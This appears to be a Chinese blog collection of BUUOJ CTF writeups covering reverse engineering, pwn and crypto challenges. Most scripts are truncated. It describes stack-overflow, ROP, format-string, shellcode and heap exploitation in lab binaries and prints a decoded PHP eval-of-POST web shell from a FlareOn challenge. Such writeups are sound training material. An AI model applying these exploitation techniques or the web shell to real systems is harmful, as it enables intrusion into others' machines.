0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7, 0x11, 0x00, 0x00, 0x00, 0xF4] |
[ACTF新生赛2020]fungame
flag分为两部分, 第一部分是简单的异或
int __cdecl sub_401340(char *a1) |
但是flag提交不对,往后看有个栈溢出
int __cdecl sub_4013BA(char *Source) |
对x进行交叉引用查询
void __noreturn sub_40233D() |
则我们的输入需要跳到第二个校验函数, 根据
-0000000C Destination db 12 dup(?) |
我们需要覆盖r
, 则需要往后多输入0x3d,0x23,0x40
(小端序)
则解密脚本如下
flag = b"" |
[NPUCTF2020]Baby Obfuscation
ida打开看到主要函数, 分析一下使用的函数
F0X1
int __cdecl F0X1(int a, int b) |
欧几里得算法求最大公约数
F0X2
bool __cdecl F0X2(bool a, bool b) |
相当于与, 两边同时为1时才返回1
F0X3
bool __cdecl F0X3(bool a, bool b) |
与F0X2同理
F0X4
int __cdecl F0X4(int a, int b) |
相当于a - b
F0X5
int __cdecl F0X5(int a, int b) |
相当于 a^b (这里^是次方的意思)
Main
则分析函数可得主要加密就红框这三条
实际上就是
s[i] = input[i] - A0X4[(i - 1) % 4] |
解密脚本如下
A0X6 = [0x0, 0x00001E79, 0x00001E79, 0x00002135, 0x0000170D, 0x00001F41, 0x00001901, 0x00002CED, 0x000011F9, 0x00002649, 0x00002581, 0x00002DB5, 0x000014B5, 0x000025E5, 0x00002A31, 0x000030D5] |
[BSidesSF2019]blink
jadx打开,看到一个图片
写脚本解析一下
import base64 |
得到flag
[SUCTF2019]hardcpp
[NPUCTF2020]BasicASM
根据分析主要就干了如下操作(python实现)
for i in range(len(flag)): |
则解密脚本如下
enc = bytes.fromhex("662e61257b26301d7972751d6b2c6f355f3a38742d74341d61776d7d7d") |
[MRCTF2020]Shit
既然给了源码,那就偷下懒吧, 看到decode
void decode() |
其中key为生成出来的,直接写个程序跑一下genKey即可
|
最终解密脚本如下
ks = [0x8c2c133a, 0xf74cb3f6, 0xfedfa6f2, 0xab293e3b, 0x26cf8a2a, 0x88a1f279] |
不得不说,有了源码解起来真方便,不然还得过反调, 反调还被hook
了
HellScream
4. 2016年 第19题 - 看雪 2016 CTF题解视频 - 其他内容 - 看雪-安全培训|安全招聘|www.kanxue.com
[原创]看雪2016 第十九题 CrackMe逆向分析-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[BUU]HellScream_m0_46296905的博客-CSDN博客
不看题解看不出来大数运算……..
[De1CTF2019]Re_Sign
upx加壳了,不知道为什么用upx
程序解压不了,直接ESP定律
大法解压出来
根据字符串找到主要函数
动调发现输入111
会变成EP4f
, 这种3
字符变4
字符很像base64
在输入后,在输入处下硬件断点,动调在Encrypt
中找到新表
接着进入checkFunc
, 动调找到比对位置
通过sub_402160
得到 编码后的字符 在原表中的位置,并跟v18[v17]对比
则解密脚本如下:
s = [0x00000008, 0x0000003B, 0x00000001, 0x00000020, 0x00000007, 0x00000034, 0x00000009, 0x0000001F, 0x00000018, 0x00000024, 0x00000013, 0x00000003, 0x00000010, 0x00000038, 0x00000009, 0x0000001B, 0x00000008, 0x00000034, 0x00000013, 0x00000002, 0x00000008, 0x00000022, 0x00000012, 0x00000003, 0x00000005, 0x00000006, 0x00000012, 0x00000003, 0x0000000F, 0x00000022, 0x00000012, 0x00000017, 0x00000008, 0x00000001, 0x00000029, 0x00000022, 0x00000006, 0x00000024, 0x00000032, 0x00000024, 0x0000000F, 0x0000001F, 0x0000002B, 0x00000024, 0x00000003, 0x00000015] |
[FlareOn1]Javascrap
打开html, 可以看到
用010Editor查看图片,在文件末尾看到php代码
$terms = array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"); |
将eval
改为echo
找个在线工具打印一下
$_=\'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\'; |
其中$___
和$__
为
➜ Desktop bpython3 |
则base64_decode($_)
得
"aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9") base64.b64decode( |
其中字符串 \97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D
为: a11DOTthatDOTjava5crapATflareDASHonDOTcom
替换DOT => . ,DASH => - ,AT => @
得flag
a11.that.java5crap@flare-on.com
[watevrCTF 2019]Repyc
用在线反编译工具python反编译 - 在线工具 (tool.lu),反编译出来一个python虚拟机
#!/usr/bin/env python |
则分析如下
VM( |
即将输入逐位异或135并减去15
则解题脚本如下
s = b"\xc3\xa1\xc3\x97\xc3\xa4\xc3\x93\xc3\xa2\xc3\xa6\xc3\xad\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9b\xc3\xa3\xc3\xa5\xc3\xa4\xc3\x89\xc3\x96\xc3\x93\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x96\xc3\x93\xc3\xa5\xc3\xa4\xc3\x89\xc3\x93\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x9b\xc3\x93\xc3\xa4\xc3\xa0\xc3\x99\xc3\x94\xc3\x89\xc3\x93\xc3\xa2\xc3\xa6\xc3\x89\xc3\xa0\xc3\x93\xc3\x9a\xc3\x95\xc3\x93\xc3\x92\xc3\x99\xc3\xa6\xc3\xa4\xc3\xa0\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x9a\xc3\x93\xc3\xa1\xc3\x89\xc2\xb7\xc3\x94\xc3\xa2\xc3\x97\xc3\x9a\xc3\x95\xc3\x93\xc3\x94\xc3\x89\xc2\xb3\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x85\xc3\xa4\xc3\x97\xc3\x9a\xc3\x94\xc3\x97\xc3\xa6\xc3\x94\xc3\x89\xc3\x97\xc3\x9a\xc3\xaf\xc3\xa1\xc3\x97\xc3\xaf\xc3\xa5\xc3\x89\xc3\x9f\xc3\x89\xc3\x94\xc3\x99\xc3\x9a\xc3\xa4\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\xa0\xc3\x97\xc3\xa2\xc3\x93\xc3\x89\xc3\x97\xc3\x89\xc3\x91\xc3\x99\xc3\x99\xc3\x94\xc3\x89\xc3\xa2\xc3\x9f\xc3\x94\xc3\x89\xc3\x96\xc3\xa3\xc3\xa4\xc3\x89\xc3\x9f\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa5\xc3\x99\xc3\x9a\xc3\x91\xc3\x89\xc3\x9f\xc3\x89\xc3\xa0\xc3\x99\xc3\xa8\xc3\x93\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\x89\xc3\xa1\xc3\x9f\xc3\x9c\xc3\x9c\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\x9f\xc3\xa4\xc3\x89\xc3\x97\xc3\xa5\xc3\xa1\xc3\x93\xc3\x9c\xc3\x9c\xc2\x97\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\xa4\xc3\xa3\xc3\x96\xc3\x93\xc2\x9a\xc3\x95\xc3\x99\xc3\x9b\xc2\x99\xc3\xa1\xc3\x97\xc3\xa4\xc3\x95\xc3\xa0\xc2\xa9\xc3\xa2\xc2\xab\xc2\xb3\xc2\xa3\xc3\xaf\xc2\xb2\xc3\x95\xc3\x94\xc3\x88\xc2\xb7\xc2\xb1\xc3\xa2\xc2\xa8\xc3\xab".decode("utf-8") # 观察到\xc3\xc2为unicode码的标志, 故需要先解码 |
[FlareOn1]Shellolololol
- 题目报毒2333333
存在大量的XOR, 调试跟踪,在最后的地方找到flag对比
[FlareOn6]Memecat Battlestation
第一个code
第二个code
d = ['\u0003', ' ', '&', '$', '-', '\u001e', '\u0002', ' ', '/', '/', '.', '/'] |
flag:Kitteh_save_galixy@flare-on.com
[FlareOn6]FlareBear
GDA打开,可以找到一个dancewithflag
通过交叉引用查到输出flag的要求为
mass == 72, happy == 30, clean == 0 |
找到play,clean和feed, 分别如下
Feed: |
直接解方程
10 * feed + (-2) * play + 0 * clean == 72 |
得
clean = 2, play = 4, feed = 8 |
[2019红帽杯]calc
[GKCTF 2021]Crash
Go语言程序,IDA 7.6打开
main函数校验flag格式
进入main_check, 存在以下加密
main_encrypto: 3des + base64 |
3DES解密如下
from Crypto.Cipher import DES3 |
其他的Hash网上查,或者直接爆破 , 得到flag
GKCTF{87f645e9-b628-412f-9d7a-e402f20af940} |
[CFI-CTF 2018]powerPacked
➜ tmp file powerPacker |
upx解压后
int __cdecl main(int argc, const char **argv, const char **envp) |
则
s = b"EHK}kanqxgarqygtre" |
[FlareOn4]greek_to_me
反编译出来以后,主函数中存在一段SMC
其中v3来自buf[0]
, 而buf来自下面的函数
SOCKET __cdecl sub_401121(char *buf) |
监听本地2222
端口, 并接受4个字节
由于主函数中有校验, 如果成功会输出Congratulations! But wait, where's my flag?
那么我们可以通过爆破将这个buf[0]
算出来
import os |
可得buf
值为a2
则可自己写个idapython
脚本进行解密
import ida_bytes |
解密后得到flag
写个脚本
bg = 0x0040107C |
得flag
et_tu_brute_force@flare-on.com |
[INSHack2018]Tricky-Part1
校验函数:
std::string *__fastcall stack_check(std::string *a1) |
其中异或的数组GDB
base初始化函数
int __fastcall __static_initialization_and_destruction_0(int a1, int a2) |
则解密脚本如下
data = [0x0E, 0x0A, 0x11, 0x06, 0x3F, 0x01, 0x1F, 0x1C, 0x1D, 0x76, 0x37, 0x1D, 0x2F, 0x70, 0x30, 0x23, 0x77, 0x30, 0x18, 0x22, 0x72, 0x35, 0x1B, 0x31, 0x33, 0x70, 0x36, 0x76, 0x27, 0x1D, 0x73, 0x2A, 0x76, 0x2B, 0x75, 0x31, 0x3E, 0x37, 0x1D, 0x30, 0x2C, 0x71, 0x29, 0x1B, 0x26, 0x74, 0x26, 0x37, 0x20, 0x23, 0x71, 0x35, 0x1B, 0x24, 0x73, 0x75, 0x2E, 0x34, 0x39] |
[MRCTF2020]VirtualTree
动调,可以看到题目存在代码自修改与花指令
先写脚本去花
import ida_bytes |
动调起来就可以看到具体的函数了,分析如下
void sub_A416F0() |
add函数:
void __cdecl add(int a1, char a2) |
xor函数:
void __cdecl xor(int a1, int a2) |
subabs函数:
void __cdecl subabs(int a1, int a2) |
对比数据cmp_data = [0x17, 0x63, 0x77, 0x03, 0x52, 0x2E, 0x4A, 0x28, 0x52, 0x1B, 0x17, 0x12, 0x3A, 0x0A, 0x6C, 0x62]
输入的flag会先异或一下
可以下断将异或的数据打出来
得到异或数据xor_data = [77,76,71,80,79,75,70,67,74,69,78,73,72,68,66,65]
则解密脚本如下
from z3 import * |
跑出来有好几个结果, 第二个就是flag
这道题多解233333
[b01lers2020]chugga_chugga
➜ chugga_chugga file chugga |
核心代码如下:
input = (_BYTE *)*v25; |
则可以直接用z3暴力解
from z3 import * |
[RCTF2019]DontEatMe
[XMAN2018排位赛]Dragon Quest
存在大量不透明谓词,用脚本直接去掉(pizza yyds)
import ida_xref |
之后逻辑便比较清晰了
__int64 __fastcall start_quest(std::string *a1) |
首先是进行一些初始化和校验flag长度是否为(legend >> 2) + 1
, 其中legend == 0x73
,接着进入sanitize_input
函数
sanitize_input
反编译看起来比较复杂,但实际操作就是依次从输入中取出存入另一个vector
中,当vector
中数大于等于两个时开始送入transform_input
中处理后,与hero中的数进行对比
transform_input
函数将该vector
中的数进行求和
data = [100, 214, 266, 369, 417, 527, 622, 733, 847, 942, 1054, 1106, 1222, 1336, |
Pwn
Pwn环境
BUUOJ上的Pwn环境libc版本都可以从下面的网址下载
test_your_nc
直接nc
上去cat flag
rip
➜ rip checksec pwn1 |
基本没开保护
int __cdecl main(int argc, const char **argv, const char **envp) |
存在fun
函数,直接溢出到fun
即可
EXP
from pwn import * |
warmup_csaw_2016
Arch: amd64-64-little |
保护基本没开,主函数存在栈溢出
__int64 __fastcall main(int a1, char **a2, char **a3) |
存在cat flag
函数
int sub_40060D() |
EXP
from pwn import * |
ciscn_2019_n_1
题目如下
int func() |
栈溢出到v2, 使v2为11.28125
即可
EXP
from pwn import * |
pwn1_sctf_2016
32位C++, 开启了NX
, 但这题用不到
➜ pwn1_sctf_2016 checksec pwn1_sctf_2016 |
printf("Tell me something about yourself: "); |
存在get_flag
函数
int get_flag() |
会将输入的I
替换为you
, 造成溢出
➜ pwn1_sctf_2016 ./pwn1_sctf_2016 |
EXP
from pwn import * |
jarvisoj_level0
基础栈溢出, 直接溢出到 backdoor 就可以了
EXP
from pwn import * |
jarvisoj_level2
基础栈溢出, 没有后门函数但是有system
函数, 且 IDA 搜索字符串有/bin/sh
.data:0804A024 hint db '/bin/sh',0 |
那么思路就是栈溢出到system, 且布局栈中有参数 /bin/sh
的地址就可以 getshell 了
EXP
from pwn import * |
0ctf 2017 babyheap
ciscn_2019_c_1
➜ ciscn_2019_c_1 checksec ciscn_2019_c_1 |
64位ELF, 开了NX, 一个加解密程序,encrypt可用
其中encrypt
int encrypt() |
题目没有system和/bin/sh所以需要构造ROP, 并且没有给出libc文件,需要leak
根据64位传参规则,puts函数传入参数为rdi
, 所以需要pop rdi
的gadget
➜ ciscn_2019_c_1 ROPgadget --binary ciscn_2019_c_1 |grep "pop rdi" |
由于线上环境为ubuntu18,故调用system需要栈对齐在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客 (eonew.cn)
多加个ret使栈对齐即可
EXP
本来输入时是需要先进行decrypt的,这样才能使encrypt后变为我们想要的数据,但根据strlen
的截断为\x00
以及地址b9 06 40
不在加密范围内,故实际打的时候不需要
from pwn import * |
[第五空间2019 决赛]PWN5
Arch: i386-32-little |
存在格式化字符串漏洞,先通过%p
查看我们输入的值位于哪里
➜ Pwn ./\[第五空间2019\ 决赛\]PWN5/pwn |
可以看出,位于第10个参数
由于本题的限制较少,故我们有以下几种做法
- 覆盖
dword_0804C044
的值 - 将
dword_0804C044
的值读出 - 覆盖
atoi
函数的地址为system
, 传入/bin/sh
获得shell
EXP1
from pwn import * |
EXP2
这里需要注意,输入的atoi
函数传入有符号,最大只能0x7fffffff
, 所以…概率成功
from pwn import * |
EXP3
from pwn import * |
[OGeek2019]babyrop
checksec
一下
➜ [OGeek2019]babyrop checksec pwn |
首先要求输入等于一个随机数,但由于strlen
是\x00
截断,可以将v5设置为0过掉strncmp
int __cdecl sub_804871F(int a1) |
接着将我们的输入的buf[7]
传入下面的函数接受读入, 存在栈溢出
ssize_t __cdecl sub_80487D0(char a1) |
EXP
from pwn import * |
ciscn_2019_n_8
➜ ciscn_2019_n_8 checksec ciscn_2019_n_8 |
保护全开
int __cdecl main(int argc, const char **argv, const char **envp) |
只要 *(_QWORD *)&var[13]
为0x11则可以getshell
EXP
from pwn import * |
bjdctf_2020_babystack
没有Canary和PIE
➜ bjdctf_2020_babystack checksec bjdctf_2020_babystack |
存在栈溢出和后门函数
int __cdecl main(int argc, const char **argv, const char **envp) |
后门函数:
.text:00000000004006E6 backdoor proc near |
溢出到后门函数即可
EXP
from pwn import * |
ciscn_2019_en_2
跟ciscn_2019_c_1一毛一样
not_the_same_3dsctf_2016
没有Canary, PIE 开启了NX保护
➜ not_the_same_3dsctf_2016 checksec not_the_same_3dsctf_2016 |
main函数存在栈溢出
int __cdecl main(int argc, const char **argv, const char **envp) |
存在get_secret
函数
int get_secret() |
EXP1
将flag存放到.bss
段上, 因为存在write
可以将flag输出出来
from pwn import * |
EXP2
虽然开启了NX保护,但是存在mprotect
, 则可以修改bss
段为可读可写可执行,然后通过read
函数往bss
写shellcode,最后将执行流返回到bss
即可
from pwn import * |
[HarekazeCTF2019]baby_rop
没有Canary和PIE, 开启NX
➜ [HarekazeCTF2019]baby_rop checksec babyrop |
main函数存在栈溢出漏洞,程序中存在system
int __cdecl main(int argc, const char **argv, const char **envp) |
并存在/bin/sh
根据64位传参规则,需要找一个pop rdi; ret;
EXP
from pwn import * |
jarvisoj_level2_x64
没有Canary、PIE,开启NX
➜ jarvisoj_level2_x64 checksec level2_x64 |
漏洞点在下面的函数中, 栈溢出
ssize_t vulnerable_function() |
存在/bin/sh
根据64位传参规则,需要一个rdi
的gadget
EXP
from pwn import * |
ciscn_2019_n_5
➜ ciscn_2019_n_5 checksec ciscn_2019_n_5 |
main存在栈溢出
int __cdecl main(int argc, const char **argv, const char **envp) |
EXP
name在.bss
段上, 由于保护没开,故可以往上面写shellcode,跳过去执行即可
from pwn import * |
others_shellcode
开启 NX, PIE , 没有 Canary
➜ others_shellcode checksec shell_asm |
main函数直接getshell
了,这题应该是为了展示shellcode吧
ciscn_2019_ne_5
存在NX, 没有PIE, Canary
➜ ciscn_2019_ne_5 checksec ciscn_2019_ne_5 |
Print函数中存在system
搜索发现存在sh
AddLog函数中可以输入log
int __cdecl AddLog(int a1) |
Getflag函数中存在strcpy
, 而这里复制的正是AddLog函数中输入的数据
int __cdecl GetFlag(char *src) |
v3最大为60字节, 而上个函数可以输入128个字节,则可以溢出
EXP
from pwn import * |
铁人三项(第五赛区)_2018_rop
➜ 铁人三项(第五赛区)_2018_rop checksec 2018_rop |
**vulnerable_function()**存在溢出
ssize_t vulnerable_function() |
然而没有sysytem
和binsh
所以需要溢出找到libc
, 从而getshell
EXP
from pwn import * |
bjdctf_2020_babyrop
64位, NX 但没有PIE, Canary,
➜ bjdctf_2020_babyrop checksec bjdctf_2020_babyrop |
vuln函数存在栈溢出
ssize_t vuln() |
栈溢出泄露libc基址从而getshell
EXP
from pwn import * |
babyheap_0ctf_2017
Arch: amd64-64-little |
main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3) |
- 其中Fill函数存在问题,size可以自己设定
- 需要注意的是Allocate函数使用
calloc
函数, 分配内存后会把数据区域全部置零
攻击思路: 伪造堆块送入unsorted bin
, 其首个free
掉的chunk会指向main_arena + 0x58
的固定地址,而从而泄露main_arena
, 从而泄露libc基址
EXP
from pwn import * |
bjdctf_2020_babystack2
Arch: amd64-64-little |
主函数
nbytes
为size_t类型,但与10对比时类型转换为了int,那么我们可以输入负数使得可以过检测,且下方read溢出
溢出到后面函数即可
EXP
from pwn import * |
jarvisoj_fm
Arch: i386-32-little |
main函数
int __cdecl main(int argc, const char **argv, const char **envp) |
简单的格式化字符串漏洞,思路有很多,这里由于没有开启pie,所以可以将x
处的值写成4
➜ jarvisoj_fm ./fm |
可以看到我们输入的参数在第11个
EXP
from pwn import * |
pwn2_sctf_2016
Arch: i386-32-little |
漏洞函数
void __cdecl vuln() |
atoi
函数会返回一个unsigned int值,但v2为int类型,因此输入负数也可以过v2 > 32
的检查,那么就会导致下面get_n
栈溢出
➜ pwn2_sctf_2016 ./pwn2_sctf_2016 |
那么就可以通过栈溢出来泄露libc版本和地址,来算出system
和/bin/sh
的地址
EXP
from pwn import * |
ciscn_s_3
Arch: amd64-64-little |
vuln函数存在栈溢出
signed __int64 vuln() |
gadgets函数
本题存在两种思路
- 思路1: 通过系统调用59对应的
execve
, 构造rop
链执行execve("/bin/sh", 0, 0)
- 思路2: 通过系统调用15对应的
sys_rt_sigreturn
, 借助sigreturn frame
来执行system("/bin/sh")
EXP1
由于题目中没有给出/bin/sh
, 所以我们需要先写到栈里,并算出来地址,通过调试可知
0x7ffd310e25d0存放
着一处栈地址, 且此处距离/bin/sh\x00
的距离为0x00007ffd310e26c8 - 0x7ffd310e25b0 = 0x118
, 这个偏移是固定的,则我们就获得了/bin/sh
的地址。接着就可以用ret2csu
构造攻击链
根据64位调用约定,我们还需要一个pop rdi
from pwn import * |
EXP2
from pwn import * |
[HarekazeCTF2019]baby_rop2
Arch: amd64-64-little |
main函数中存在栈溢出
int __cdecl main(int argc, const char **argv, const char **envp) |
溢出泄露__libc_start_main
的地址,从而算出libc
的基地址,因为 printf
需要%s
, 所以我们需要pop rdi
与pop rsi
EXP
from pwn import * |
jarvisoj_level3
Arch: i386-32-little |
存在栈溢出漏洞,通过泄露地址从而算出libc基址,从而getshell
EXP
from os import sendfile |
ciscn_2019_es_2
Arch: i386-32-little |
vul():
int vul() |
存在栈溢出,但溢出大小有限,只能溢出4个字节,但刚好可以覆盖到esp
和return address
hack():
int hack() |
存在system函数,echo flag
是真的只输出flag
这四个字符
综上考虑,考虑迁栈,即返回到system
时,栈上数据为传入参数/bin/sh
那么我们首先要把栈地址弄出来,题目正好有两个输入两个输出
EXP
from pwn import * |
Crypto
MD5
https://www.cmd5.com/ 直接查得admin1
则flag为flag{admin1}
Url编码
https://tool.oschina.net/encode?type=4 解得 flag{and 1=1}
一眼就解密
base64 解得 flag{THE_FLAG_OF_THIS_STRING}
看我回旋踢
简单的移位密码, ROT13, 解得flag flag{5cd1004d-86a5-46d8-b720-beb5ba0417e1}
变异凯撒
观察知前四位分别与flag
相差5,6,7,8
则有
s = b"afZ_r9VYfScOeO_UL^RWUc" |
得flagflag{Caesar_variation}
Quoted-printable
http://web.chacuo.net/charsetquotedprintable 得flag{那你也很棒哦}
password
UTF-8 编码, 脑洞猜flag: flag{zs19900315}
rsarsa
import gmpy2 |
得flag flag{5577446633554466577768879988}
Rabbit
用Rabbit解密得flagflag{Cute_Rabbit}
RSA
import gmpy2 |
得flag: flag{125631357777427553}
Windows系统密码
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: |
linux的passwd文件,用https://www.cmd5.com/解密得good-luck
, 则flag: flag{good-luck}
Alice与Bob
http://factordb.com/index.php?query=98554799767 查得两个素数为101999
和966233
, 则
import hashlib |
得flag: flag{d450209323a847c8d01c6be47c81811a}
篱笆墙的影子
栅栏密码, 加密向量为2, 得到flagflag{wethinkwehavetheflag}
老文盲了
罼雧締眔擴灝淛匶襫黼瀬鎶軄鶛驕鳓哵眔鞹鰝 |
秀上天际, 生僻字谐音, flag为BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}
大帝的密码武器
凯撒密码, FRPHEVGL
通过加密向量13
解出SECURITY
则flag为flag{PbzrPuvan}